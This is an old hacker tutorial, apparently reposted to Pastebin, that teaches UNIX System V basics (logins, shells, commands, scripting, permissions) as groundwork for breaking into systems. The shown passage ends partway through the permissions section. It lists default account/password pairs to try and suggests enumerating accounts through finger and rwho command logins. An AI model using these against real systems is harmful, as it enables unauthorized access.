Advertisement
Guest User

Untitled

a guest
May 29th, 2017
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 82.20 KB | None | 0 0
  1. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  2. + UNIX : A Hacking Tutorial +
  3. + By: Sir Hackalot +
  4. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  5.  
  6. ----------------------
  7. o Intent of this file:
  8. ----------------------
  9.  
  10. This phile is geared as an UNIX tutorial at first, to let you get more
  11. familiar with the operating system. UNIX is just an operating system, as
  12. is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-
  13. multi-tasking system, thus bringing a need for security not found on MSDOS,
  14. AppleDOS, etc. This phile will hopefully teach the beginners who do not have
  15. a clue about how to use UNIX a good start, and may hopefully teach old pros
  16. something they didn't know before. This file deals with UNIX SYSTEM V and
  17. its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).
  18.  
  19. Where Can I be found? I have no Idea. The Boards today are going Up'n'Down
  20. so fast, 3 days after you read this file, if I put a BBS in it where you could
  21. reach me, it may be down! Just look for me.
  22.  
  23. I can be reached on DarkWood Castle [If it goes back up], but that board
  24. is hard to get access on, but I decided to mention it anyway.
  25.  
  26. I *COULD* Have been reached on jolnet, but......
  27.  
  28. This file may have some bad spelling, etc, or discrepencies since it was
  29. spread out over a long time of writing, because of school, work, Girl friend,
  30. etc. Please, no flames. If you don't like this file, don't keep it.
  31.  
  32. This is distributed under PHAZE Inc. Here are the members (and ex ones)
  33. The Dark Pawn
  34. The Data Wizard
  35. Sir Hackalot (Me)
  36. Taxi (ummm.. Busted)
  37. Lancia (Busted)
  38. The British Knight (Busted)
  39. The Living Pharoah (Busted)
  40.  
  41. _____________________________________________________________________________
  42.  
  43.  
  44. -------------
  45. o Dedication:
  46. -------------
  47. This phile is dedicated to the members of LOD that were raided in
  48. Atlanta. The members that got busted were very good hackers, especially
  49. The Prophet. Good luck to you guys, and I hope you show up again somewhere.
  50. _____________________________________________________________________________
  51.  
  52. ------------------------
  53. o A little History, etc:
  54. ------------------------
  55.  
  56. UNIX, of course, was invented By AT&T in the 60's somewhere, to be
  57. "a programmer's operating system." While that goal was probably not reached
  58. when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
  59. UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also
  60. written in C, or at least large parts of it are, thus making it a portable
  61. operating system. We know that MSDOS corresponds to IBM/clone machines,
  62. right? Well, this is not the case with UNIX. We do not associate it with
  63. any one computer since it has been adapted for many, and there are many
  64. UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T
  65. computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations
  66. run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
  67. of UNIX. Remember, no matter what the name of the operating system is [BSD,
  68. UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
  69. commands the operating system uses. Some variants may have features others
  70. do not, but they are basically similar in that they have a lot of the same
  71. commands/datafiles. When someone tries to tell you that UNIX goes along with
  72. a certain type of computer, they may be right, but remember, some computers
  73. have more than one Operating system. For instance, one person may tell you
  74. that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the
  75. only reason I stated that, was because I have seen many messages with info
  76. /comparisons in it like that, which confuse users when they see a VAX running
  77. VMS.
  78. ____________________________________________________________________________
  79.  
  80.  
  81. -------------------------------
  82. o Identifying a Unix/Logging in
  83. -------------------------------
  84.  
  85. From now on, I will be referring to all the UNIX variants/etc as
  86. UNIX, so when I say something about UNIX, it generally means all the variants
  87. (Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
  88. I state a variant in particular.
  89.  
  90. Okay. Now its time for me to tell you how a unix USUALLY greets you.
  91. First, when you call up a UNIX, or connect to one however you do, you will
  92. usually get this prompt:
  93.  
  94. login:
  95.  
  96. Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,
  97. although there are BBS's that can mimic the login procedure of an OS
  98. (Operating System), thus making some people believe its a Unix. [Hah!].
  99. Some Unixes will tell you what they are or give you a message before a
  100. login: prompt, as such:
  101.  
  102. Welcome to SHUnix. Please log in.
  103.  
  104. login:
  105.  
  106. Or something like that. Public access Unixes [like Public BBSs] will
  107. tell you how to logon if you are a new users. Unfortunatly, this phile is
  108. not about public access Unixes, but I will talk about them briefly later, as
  109. a UUCP/UseNet/Bitnet address for mail.
  110. OK. You've gotten to the login prompt! Now, what you need to do
  111. here is enter in a valid account. An Account usually consists of 8 characters
  112. or less. After you enter in an account, you will probably get a password
  113. prompt of some sort. The prompts may vary, as the source code to the login
  114. program is usually supplied with UNIX, or is readily available for free.
  115. Well, The easiest thing I can say to do to login is basically this:
  116. Get an account, or try the defaults. The defaults are ones that came with
  117. the operating system, in standard form. The list of some of the Defaults
  118. are as follows:
  119.  
  120. ACCOUNT PASSWORD
  121. ------- --------
  122. root root - Rarely open to hackers
  123. sys sys / system / bin
  124. bin sys / bin
  125. mountfsys mountfsys
  126. adm adm
  127. uucp uucp
  128. nuucp anon
  129. anon anon
  130. user user
  131. games games
  132. install install
  133. reboot * See Below
  134. demo demo
  135. umountfsys umountfsys
  136. sync sync
  137. admin admin
  138. guest guest
  139. daemon daemon
  140.  
  141. The accounts root, mountfsys, umountfsys, install, and sometimes sync are
  142. root level accounts, meaning they have sysop power, or total power. Other
  143. logins are just "user level" logins meaning they only have power over what
  144. files/processes they own. I'll get into that later, in the file permissions
  145. section. The REBOOT login is what as known as a command login, which just
  146. simply doesn't let you into the operating system, but executes a program
  147. assigned to it. It usually does just what it says, reboot the system. It
  148. may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
  149. and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
  150. not been passworded [reboot], which is real stupid, if you ask me.
  151.  
  152. COMMAND LOGINS:
  153. ---------------
  154.  
  155. There are "command logins", which, like reboot, execute a command then log
  156. you off instead of letting you use the command interpreter. BSD is notorious
  157. for having these, and concequently, so does MIT's computers. Here are some:
  158.  
  159. rwho - show who is online
  160. finger - same
  161. who - same
  162.  
  163. These are the most useful, since they will give the account names that are
  164. online, thus showing you several accounts that actually exist.
  165.  
  166.  
  167. Errors:
  168. -------
  169.  
  170. When you get an invalid Account name / invalid password, or both, you will
  171. get some kind of error. Usually it is the "login incorrect" message. When
  172. the computer tells you that, you have done something wrong by either enterring
  173. an invalid account name, or a valid account name, but invalid password. It
  174. does not tell you which mistake you made, for obvious reasons. Also,
  175. when you login incorrectly, the error log on the system gets updated, letting
  176. the sysops(s) know something is amiss.
  177.  
  178. Another error is "Cannot change to home directory" or "Cannot Change
  179. Directory." This means that no "home directory" which is essentially the
  180. 'root' directory for an account, which is the directory you start off in.
  181. On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
  182. /homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
  183. Most systems will log you off after this, but some tell you that they will
  184. put you in the root directory [ '/'].
  185.  
  186. Another error is "No Shell". This means that no "shell" was defined
  187. for that particular account. The "shell" will be explained later. Some
  188. systems will log you off after this message. Others will tell you that they
  189. will use the regular shell, by saying "Using the bourne shell", or "Using sh"
  190.  
  191. -----------------------------
  192. Accounts In General :
  193. -----------------------------
  194.  
  195. This section is to hopefully describe to you the user structure
  196. in the UNIX environment.
  197. Ok, think of UNIX having two levels of security: absolute power,
  198. or just a regular user. The ones that have absolute power are those users
  199. at the root level. Ok, now is the time to think in numbers. Unix associates
  200. numbers with account names. each account will have a number. Some will have
  201. the same number. That number is the UID [user-id] of the account. the root
  202. user id is 0. Any account that has a user id of 0 will have root access.
  203. Unix does not deal with account names (logins) but rather the number
  204. associated with them. for instance, If my user-id is 50, and someone else's
  205. is 50, with both have absolute power of each other, but no-one else.
  206. _____________________________________________________________________________
  207.  
  208. ---------------
  209. Shells :
  210. ---------------
  211.  
  212. A shell is an executable program which loads and runs when a user
  213. logs on, and is in the foreground. This "shell" can be any executable prog-
  214. ram, and it is defined in the "passwd" file which is the userfile. Each
  215. login can have a unique "shell". Ok. Now the shell that we usually will work
  216. with is a command interpreter. A command interpreter is simply something
  217. like MSDOS's COMMAND.COM, which processes commands, and sends them to the
  218. kernel [operating system]. A shell can be anything, as I said before,
  219. but the one you want to have is a command interpreter. Here are the
  220. usual shells you will find:
  221.  
  222. sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has
  223. a "script" language, as do most of the command interpreters on Unix sys-
  224. tems.
  225.  
  226. csh - This is the "C" shell, which will allow you to enter "C" like commands.
  227. ksh - this is the korn shell. Just another command interpreter.
  228. tcsh - this is one, which is used at MIT I believe. Allows command editing.
  229. vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
  230. rsh - restricted shell OR remote shell. Both Explained later.
  231. There are many others, including "homemade " shells, which are
  232. programs written by the owner of a unix, or for a specific unix, and they
  233. are not standard. Remember, the shell is just the program you get to use
  234. and when it is done executing, you get logged off. A good example of a
  235. homemade shell is on Eskimo North, a public access Unix. The shell
  236. is called "Esh", and it is just something like a one-key-press BBS,
  237. but hey, its still a shell. The Number to eskimo north is 206-387-3637.
  238. [206-For-Ever]. If you call there, send Glitch Lots of mail.
  239. Several companies use Word Processors, databases, and other things
  240. as a user shell, to prevent abuse, and make life easier for unskilled computer
  241. operators. Several Medical Hospitals use this kind of shell in Georgia,
  242. and fortunatly, these second rate programs leave major holes in Unix.
  243. Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
  244. give you a choice between a command interpreter, or a BBS as a shell.
  245. WHen you have a command interpreter, the prompt is usually a:
  246. $
  247. when you are a root user the prompt is usually a:
  248. #
  249. The variable, PS1, can be set to hold a prompt.
  250. For instance, if PS1 is "HI:", your prompt will be:
  251. HI:
  252.  
  253. _____________________________________________________________________________
  254.  
  255. ------------------------
  256. SPecial Characters, ETc:
  257. ------------------------
  258.  
  259. Control-D : End of file. When using mail or a text editor, this will end
  260. the message or text file. If you are in the shell and hit control-d you get
  261. logged off.
  262.  
  263. Control-J: On some systems, this is like the enter key.
  264. @ : Is sometimes a "null"
  265. ? : This is a wildcard. This can represent a letter. If you specified
  266. something at the command line like "b?b" Unix would look for bob,bib,bub,
  267. and every other letter/number between a-z, 0-9.
  268. * : this can represent any number of characters. If you specified a "hi*"
  269. it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
  270. hi. "H*l" could by hill, hull, hl, and anything that starts with an
  271. H and ends with an L.
  272.  
  273. [] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
  274. if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
  275. [], ?, and * are usually used with copy, deleting files, and directory
  276. listings.
  277.  
  278. EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not
  279. the same thing. This allows for many files to be able to be stored, since
  280. "Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using
  281. the [] stuff, you have to specify capital letters if any files you are dealing
  282. with has capital letters. Most everything is lower case though.
  283.  
  284. ----------------
  285. Commands to use:
  286. ----------------
  287.  
  288. Now, I will rundown some of the useful commands of Unix. I will act
  289. as if I were typing in the actual command from a prompt.
  290.  
  291. ls - this is to get a directory. With no arguments, it will just print out
  292. file names in either one column or multi-column output, depending on the
  293. ls program you have access to.
  294.  
  295. example:
  296. $ ls
  297. hithere
  298. runme
  299. note.text
  300. src
  301. $
  302. the -l switch will give you extended info on the files.
  303. $ ls -l
  304. rwx--x--x sirhack sirh 10990 runme
  305. and so on....
  306.  
  307. the "rwx--x--x" is the file permission. [Explained Later]
  308. the "sirhack sirh" is the owner of the file/group the file is in.
  309. sirhack = owner, sirh = user-group the file is in [explained later]
  310. the 10990 is the size of the file in bytes.
  311. "runme" is the file name.
  312. The format varies, but you should have the general idea.
  313.  
  314. cat - this types out a file onto the screen. should be used on text files.
  315. only use it with binary files to make a user mad [explained later]
  316. ex:
  317. $ cat note.txt
  318. This is a sample text file!
  319. $
  320.  
  321. cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
  322. the dir1/etc.... describes the directory name. Say I want to get
  323. to the root directory.
  324. ex:
  325. $ cd /
  326. *ok, I'm there.*
  327. $ ls
  328. bin
  329. sys
  330. etc
  331. temp
  332. work
  333. usr
  334. all of the above are directories, lets say.
  335. $ cd /usr
  336. $ ls
  337. sirhack
  338. datawiz
  339. prophet
  340. src
  341. violence
  342. par
  343. phiber
  344. scythian
  345. $ cd /usr/sirhack
  346. $ ls
  347. hithere
  348. runme
  349. note.text
  350. src
  351. $
  352. ok, now, you do not have to enter the full dir name. if you are in
  353. a directory, and want to get into one that is right there [say "src"], you
  354. can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the
  355. sirhack dir, you can type "cd src"
  356.  
  357. cp - this copies a file. syntax for it is "cp fromfile tofile"
  358. $ cp runme runme2
  359. $ ls
  360. hithere
  361. runme
  362. note.text
  363. src
  364. runme2
  365. Full pathnames can be included, as to copy it to another directory.
  366. $ cp runme /usr/datwiz/runme
  367.  
  368. mv - this renames a file. syntax "mv oldname newname"
  369. $ mv runme2 runit
  370. $ ls
  371. hithere
  372. runme
  373. note.text
  374. src
  375. runit
  376. files can be renamed into other directories.
  377. $ mv runit /usr/datwiz/run
  378. $ ls
  379. hithere
  380. runme
  381. note.text
  382. src
  383. $ ls /usr/datwiz
  384. runme
  385. run
  386.  
  387. pwd - gives current directory
  388. $ pwd
  389. /usr/sirhack
  390. $ cd src
  391. $ pwd
  392. /usr/sirhack/src
  393. $ cd ..
  394. $ pwd
  395. /usr/sirhack
  396. [ the ".." means use the name one directory back. ]
  397. $ cd ../datwiz
  398. [translates to cd /usr/datwiz]
  399. $ pwd
  400. /usr/datwiz
  401. $ cd $home
  402. [goto home dir]
  403. $ pwd
  404. /usr/sirhack
  405.  
  406. rm - delete a file. syntax "rm filename" or "rm -r directory name"
  407. $ rm note.text
  408. $ ls
  409. hithere
  410. runme
  411. src
  412. $
  413.  
  414. write - chat with another user. Well, "write" to another user.
  415. syntax: "write username"
  416. $ write scythian
  417. scythian has been notified
  418. Hey Scy! What up??
  419. Message from scythian on tty001 at 17:32
  420. hey!
  421. me: So, hows life?
  422. scy: ok, I guess.
  423. me: gotta go finish this text file.
  424. scy: ok
  425. me: control-D [to exit program]
  426. $
  427.  
  428. who [w,who,whodo] - print who is online
  429. $ who
  430. login term logontime
  431. scythian + tty001 17:20
  432. phiberO + tty002 15:50
  433. sirhack + tty003 17:21
  434. datawiz - tty004 11:20
  435. glitch - tty666 66:60
  436. $
  437. the "who" commands may vary in the information given. a "+" means
  438. you can "write" to their terminal, a "-" means you cannot.
  439.  
  440. man - show a manual page entry. syntax "man command name" This is a help
  441. program. If you wanted to know how to use... "who" you'd type
  442. $ man who
  443. WHO(1) xxx......
  444. and it would tell you.
  445.  
  446. stty - set your terminal characteristics. You WILL have to do "man stty"
  447. since each stty is different, it seems like.
  448. an example would be:
  449. $ stty -parenb
  450. to make the data params N,8,1. A lot of Unixes operate at
  451. e,7,1 by default.
  452.  
  453. sz,rz - send and recieve via zmodem
  454. rx,sx - send / recieve via xmodem
  455. rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
  456. umodem - send/recieve via umodem.
  457. $ sz filename
  458. ready to send...
  459. $ rz filename
  460. please send your file....
  461. ...etc..
  462.  
  463. ed - text editor. Usage "ed filename" to create a file that doesn't
  464. exist, just enter in "ed filename"
  465. some versions of ed will give you a prompt, such as "*" others will not
  466. $ ed newtext
  467. 0
  468. * a
  469. This is line 1
  470. This is line 2
  471. [control-z]
  472. * 1 [to see line one]
  473. This is line 1
  474. * a [keep adding]
  475. This is line 3
  476. [control-z]
  477. *0a [add after line 0]
  478. This is THE first line
  479. [control-z]
  480. 1,4l
  481. This is THE first line
  482. This is line 1
  483. This is line 2
  484. This is line 3
  485. * w
  486. 71
  487. * q
  488. $
  489. The 71 is number of bytes written.
  490. a = append
  491. l = list
  492. # = print line number
  493. w - write
  494. l fname = load fname
  495. s fname = save to fname
  496. w = write to current file
  497. q = quit
  498. mesg - turn write permissions on or off to your terminal (allow chat)
  499. format "mesg y" or "mesg n"
  500. cc - the C compiler. don't worry about this one right now.
  501. chmod - change mode of a file. Change the access in other words.
  502. syntax: "chmod mode filename"
  503. $ chmod a+r newtext
  504. Now everyone can read newtext.
  505. a = all
  506. r = read. This will be explained further in the File System section.
  507.  
  508. chown - change the owner of a file.
  509. syntax: "chown owner filename"
  510. $ chown scythian newtext
  511. $
  512. chgrp - change the group [explained later] of a file.
  513. syntax: "chgrp group file"
  514. $ chgrp root runme
  515. $
  516. finger - print out basic info on an account. Format: finger username
  517. grep - search for patterns in a file. syntax: "grep pattern file"
  518. $ grep 1 newtext
  519. This is Line 1
  520. $ grep THE newtext
  521. This is THE first line
  522. $ grep "THE line 1" newtext
  523. $
  524.  
  525. mail - This is a very useful utility. Obviously, you already know what it
  526. is by its name. There are several MAIL utilities, such as ELM, MUSH
  527. and MSH, but the basic "mail" program is called "mail". The usage
  528. is:
  529. "mail username@address" or
  530. "mail username"
  531. or
  532. "mail"
  533. or "mail addr1!addr2!addr3!user"
  534.  
  535. "mail username@address" - This is used to send mail to someone on
  536. another system, which is usually another UNIX, but some DOS machines and some
  537. VAX machines can recieve Unix Mail. When you use "mail user@address" the
  538. system you are on MUST have a "smart mailer" [known as smail], and must
  539. have what we call system maps. The smart mailer will find the "adress" part
  540. of the command and expand it into the full pathname usually. I could look
  541. like this: mail phiber@optik
  542. then look like this to the computer:
  543.  
  544. mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
  545.  
  546. Do not worry about it, I was merely explaining the principal of the thing.
  547. Now, if there is no smart mailer online, you'll have to know the FULL path
  548. name of the person you wish to mail to. For Instance, I want to mail to
  549. .. phiber. I'd do this if there were no smart mailer:
  550.  
  551. $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
  552.  
  553. Hey Guy. Whats up? Well, gotta go. Nice long message huh?
  554. [control-D]
  555. $
  556. Then, when he got it, there would be about 20 lines of information, with
  557. like a post mark from every system my message went thru, and the "from" line
  558. would look like so:
  559.  
  560. From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>
  561.  
  562. Now, for local mailing, just type in "mail username" where username
  563. is the login you want to send mail to. Then type in your message. Then
  564. end it with a control-D.
  565.  
  566. To read YOUR mail, just type in mail. IE:
  567.  
  568. $ mail
  569.  
  570. From scythian ............
  571. To sirhack ............
  572. Subject: Well....
  573.  
  574. Arghhh!
  575.  
  576. ?
  577. The dots represent omitted crap. Each Mail program makes its own headings.
  578. That ? is a prompt. At this prompt I can type:
  579.  
  580. d - delete
  581. f username - forward to username
  582. w fname - write message to a file named fname
  583. s fname - save message with header into file
  584. q - quit / update mail
  585. x - quit, but don't change a thing
  586. m username - mail to username
  587. r - reply
  588. [enter] - read next message
  589. + - go forward one message
  590. - : go back one
  591. h - print out message headers that are in your mailbox.
  592.  
  593. There are others, to see them, you'd usually hit '?'.
  594.  
  595. --------
  596.  
  597. If you send mail to someone not on your system, you will have to wait longer
  598. for a reply, since it is just as a letter. A "postman" has to pick it up.
  599. The system might call out, and use UUCP to transfer mail. Usually, uucp
  600. accounts are no good to one, unless you have uucp available to intercept mail.
  601.  
  602. ps - process. This command allows you to see what you are actually doing
  603. in memory. Everytime you run a program, it gets assigned a Process Id number
  604. (PID), for accounting purposes, and so it can be tracked in memory, as
  605. well as shut down by you, or root. usually, the first thing in a process
  606. list given by "ps" is your shell name. Say I was logged in under sirhack,
  607. using the shell "csh" and running "watch scythian". The watch program would
  608. go into the background, meaning I'd still be able to do things while it was
  609. running:
  610. $ ps
  611. PID TTY NAME
  612. 122 001 ksh
  613. 123 001 watch
  614. $
  615. That is a shortened PS. That is the default listing [a brief one].
  616. The TTY column represents the "tty" [i/o device] that the process is being
  617. run from. This is only useful really if you are using layers (don't worry)
  618. or more than one person is logged in with the same account name. Now,
  619. "ps -f" would give a full process listing on yourself, so instead of
  620. seeing just plain ole "watch" you'd most likely see "watch scythian"
  621.  
  622. kill - kill a process. This is used to terminate a program in memory obvio-
  623. ously. You can only kill processes you own [ones you started], unless you
  624. are root, or your EUID is the same as the process you want to kill.
  625. (Will explain euid later). If you kill the shell process, you are logged
  626. off. By the same token, if you kill someone else's shell process, they
  627. are logged off. So, if I said "kill 122" I would be logged off. However,
  628. kill only sends a signal to UNIX telling it to kill off a process. If
  629. you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
  630. like it, which may be never. So, you can specify urgency! Try "kill -num pid"
  631. Kill -9 pid is a definite kill almost instantly. So if I did this:
  632. $ kill 122
  633. $ kill 123
  634. $ ps
  635. PID TTY NAME
  636. 122 001 ksh
  637. 123 001 watch
  638. $ kill -9 123
  639. [123]: killed
  640. $ kill -9 122
  641. garbage
  642. NO CARRIER
  643.  
  644. Also, you can do "kill -1 0" to kill your shell process to log yourself off.
  645. This is useful in scripts (explained later).
  646.  
  647. -------------------
  648. Shell Programmin'
  649. -------------------
  650.  
  651. Shell Programming is basically making a "script" file for the
  652. standard shell, being sh, ksh, csh, or something on those lines. Its
  653. like an MSDOS batch file, but more complex, and more Flexible.
  654. This can be useful in one aspect of hacking.
  655.  
  656.  
  657. First, lets get into variables. Variables obviously can be assigned
  658. values. These values can be string values, or numberic values.
  659.  
  660. number=1
  661.  
  662. That would assign 1 to the variable named "number".
  663.  
  664. string=Hi There
  665. or
  666. string="Hi There"
  667.  
  668. Both would assign "Hi there" to a variable.
  669.  
  670. Using a variable is different though. When you wish to use a variable
  671. you must procede it with a dollar ($) sign. These variables can
  672. be used as arguments in programs. When I said that scripts are
  673. like batch files, I meant it. You can enter in any name of a program
  674. in a script file, and it will execute it. Here is a sample script.
  675.  
  676. counter=1
  677. arg1="-uf"
  678. arg2="scythian"
  679.  
  680. ps $arg1 $arg2
  681.  
  682. echo $counter
  683.  
  684. That script would translate to "ps -uf scythian" then would print
  685. "1" after that was finished. ECHO prints something on the screen
  686. whether it be numeric, or a string constant.
  687.  
  688. Other Commands / Examples:
  689.  
  690. read - reads someting into a variable. format : read variable . No dollar
  691. sign is needed here! If I wwanted to get someone's name, I could
  692. put:
  693.  
  694. echo "What is your name?"
  695. read hisname
  696. echo Hello $hisname
  697.  
  698. What is your name?
  699. Sir Hackalot
  700. Hello Sir Hackalot
  701.  
  702. Remember, read can read numeric values also.
  703.  
  704. trap - This can watch for someone to use the interrupt character. (Ctrl-c)
  705. format: trap "command ; command ; command ; etc.."
  706. Example:
  707. trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
  708. 'You gotta see this through!'"
  709.  
  710. Now, if I hit control-c during the script after this statement was
  711. executed, I'd get:
  712. Noway!! You are not getting rid of me that easy
  713. You gotta see this through!
  714.  
  715. exit : format :exit [num] This exists the shell [quits] with return
  716. code of num.
  717.  
  718. -----
  719. CASE
  720. -----
  721.  
  722. Case execution is like a menu choice deal. The format of the command
  723. or structure is :
  724. case variable in
  725. 1) command;
  726. command;;
  727. 2) command;
  728. command;
  729. command;;
  730. *) command;;
  731. esac
  732. Each part can have any number of commands. The last command however
  733. must have a ";;". Take this menu:
  734.  
  735. echo "Please Choose:"
  736. echo "(D)irectory (L)ogoff (S)hell"
  737. read choice
  738. case $choice in
  739.  
  740. D) echo "Doing Directory...";
  741. ls -al ;;
  742. L) echo Bye;
  743. kill -1 0;;
  744. S) exit;;
  745. *) Echo "Error! Not a command";;
  746. esac
  747.  
  748. The esac marks the end of a case function. It must be after the
  749. LAST command.
  750.  
  751. Loops
  752. -----
  753.  
  754. Ok, loops. There are two loop functins. the for loops, and the
  755. repeat.
  756.  
  757. repeat looks like this: repeat something somethin1 somethin2
  758. this would repeat a section of your script for each "something".
  759. say i did this:
  760. repeat scythian sirhack prophet
  761.  
  762. I may see "scythian" then sirhack then prophet on my screen.
  763.  
  764. The for loop is defined as "for variable in something
  765. do
  766. ..
  767. ..
  768. done"
  769.  
  770. an example:
  771. for counter in 1 2 3
  772. do
  773. echo $counter
  774. done
  775.  
  776. That would print out 1 then 2 then 3.
  777.  
  778. Using TEST
  779. ----------
  780. The format: Test variable option variable
  781.  
  782. The optios are:
  783. -eq =
  784. -ne <> (not equal)
  785. -gt >
  786. -lt <
  787. -ge >=
  788. -le <=
  789.  
  790. for strings its: = for equal != for not equal.
  791.  
  792. If the condition is true, a zero is returned. Watch:
  793.  
  794. test 3 -eq 3
  795.  
  796. that would be test 3 = 3, and 0 would be returned.
  797.  
  798. EXPR
  799. ----
  800.  
  801. This is for numeric functions. You cannot simply type in
  802. echo 4 + 5
  803. and get an answer most of the time. you must say:
  804. expr variable [or number] operator variable2 [or number]
  805. the operators are:
  806.  
  807. + add
  808. - subtract
  809. * multiply
  810. / divide
  811. ^ - power (on some systems)
  812.  
  813. example : expr 4 + 5
  814. var = expr 4 + 5
  815. var would hold 9.
  816.  
  817. On some systems, expr sometimes prints out a formula. I mean,
  818. 22+12 is not the same as 22 + 12. If you said expr 22+12 you
  819. would see:
  820. 22+12
  821. If you did expr 22 + 12 you'd see:
  822. 34
  823.  
  824.  
  825. SYSTEM VARIABLES
  826. ----------------
  827.  
  828. These are variables used by the shell, and are usually set in the
  829. system wide .profile [explained later].
  830.  
  831. HOME - location of your home directory.
  832. PS1 - The prompt you are given. usually $ . On BSD its usually &
  833. PATH - This is the search path for programs. When you type in a program
  834. to be run, it is not in memory; it must be loaded off disk. Most commands
  835. are not in Memory like MSDOS. If a program is on the search path, it may
  836. be executed no matter where you are. If not, you must be in the directory
  837. where the program is. A path is a set of directories basically, seperated by
  838. ":"'s. Here is a typical search path:
  839.  
  840. :/bin:/etc:/usr/lbin:$HOME:
  841.  
  842. When you tried to execute a program, Unix would look for it in /bin,
  843. /etc, /usr/lbin, and your home directory, and if its not found, an error is
  844. spewed out. It searches directories in ORDER of the path. SO if you had a
  845. program named "sh" in your home directory, and typed in "sh", EVEN if
  846. you were in your home dir, it would execute the one in /bin. So, you
  847. must set your paths wisely. Public access Unixes do this for you, but systems
  848. you may encounter may have no path set.
  849.  
  850. TERM - This is your terminal type. UNIX has a library of functions called
  851. "CURSES" which can take advantage of any terminal, provided the escape
  852. codes are found. You must have your term set to something if you run
  853. screen oriented programs. The escape codes/names of terms are found
  854. in a file called TERMCAP. Don't worry about that. just set your term
  855. to ansi or vt100. CURSES will let you know if it cannot manipulate your
  856. terminal emulation.
  857.  
  858.  
  859. -------------------
  860. The C compiler
  861. -------------------
  862.  
  863. This Will be BRIEF. Why? Becuase if you want to learn C, go
  864. buy a book. I don't have time to write another text file on
  865. C, for it would be huge. Basically, most executables are programmed
  866. in C. Source code files on unix are found as filename.c .
  867. To compile one, type in "cc filename.c". Not all C programs
  868. will compile, since they may depend on other files not there, or
  869. are just modules. If you see a think called "makefile" you can
  870. usually type in just "make" at the command prompt, and something
  871. will be compiled, or be attempted to compile. When using make or
  872. CC, it would be wise to use the background operand since
  873. compiling sometimes takes for ever.
  874. IE:
  875. $ cc login.c&
  876. [1234]
  877. $
  878. (The 1234 was the process # it got identified as).
  879.  
  880.  
  881. _____________________________________________________________________________
  882.  
  883. ---------------
  884. The FILE SYSTEM
  885. ---------------
  886.  
  887. This is an instrumental part of UNIX. If you do not understand this
  888. section, you'll never get the hang of hacking Unix, since a lot of Pranks
  889. you can play, and things you can do to "raise your access" depend on it.
  890.  
  891. First, Let's start out by talking about the directory structure. It is
  892. basically a Hiearchy file system, meaning, it starts out at a root directory
  893. and expands, just as MSDOS, and possibly AmigaDos.
  894.  
  895. Here is a Directory Tree of sorts: (d) means directory
  896.  
  897. / (root dir)
  898. |
  899. |--------------------|
  900. bin (d) usr (d)
  901. ----^--------------------
  902. | | |
  903. sirhack(d) scythian (d) prophet (d)
  904. |
  905. src (d)
  906.  
  907. Now, this particular system contains the following directories:
  908. /
  909. /bin
  910. /usr
  911. /usr/sirhack
  912. /usr/sirhack/src
  913. /usr/scythian
  914. /usr/prophet
  915.  
  916. Hopefully, you understood that part, and you should. Everything spawns from
  917. the root directory.
  918.  
  919. o File Permissions!
  920. ------------------
  921.  
  922. Now, this is really the biggie. File Permissions. It is not that hard to
  923. understand file permissions, but I will explain them deeply anyway.
  924.  
  925. OK, now you must think of user groups as well as user names. Everyone
  926. belongs to a group. at the $ prompt, you could type in 'id' to see what
  927. group you are in. Ok, groups are used to allow people access certain things,
  928. instead of just having one person controlling/having access to certain files.
  929. Remember also, that Unix looks at someone's UID to determine access, not
  930. user name.
  931.  
  932. Ok. File permissions are not really that complicated. Each file has an owner
  933. This OWNER is usually the one who creates the file, either by copying a file
  934. or just by plain editing one. The program CHOWN can be used to give someone
  935. ownership of a file. Remember that the owner of a file must be the one who
  936. runs CHOWN, since he is the only one that can change the permissions of a file
  937. Also, there is a group owner, which is basically the group that you were in
  938. when the file was created. You would use chgrp to change the group a file is
  939. in.
  940.  
  941. Now, Files can have Execute permissions, read permissions, or write permission.
  942. If you have execute permission, you know that you can just type in the name
  943. of that program at the command line, and it will execute. If you have read
  944. permission on a file, you can obviously read the file, or do anything that
  945. reads the file in, such as copying the file or cat[ing] it (Typing it).
  946. If you do NOT have access to read a file, you can't do anything that requires
  947. reading in the file. This is the same respect with write permission. Now,
  948. all the permissions are arranged into 3 groups. The first is the owner's
  949. permissions. He may have the permissions set for himself to read and execute
  950. the file, but not write to it. This would keep him from deleting it.
  951. The second group is the group permissions. Take an elongated directory
  952. for an example:
  953. $ ls -l runme
  954. r-xrwxr-- sirhack root 10990 March 21 runme
  955.  
  956. ok. Now, "root" is the groupname this file is in. "sirhack" is the owner.
  957. Now, if the group named 'root' has access to read, write and execute, they
  958. could do just that. Say .. Scythian came across the file, and was in the root
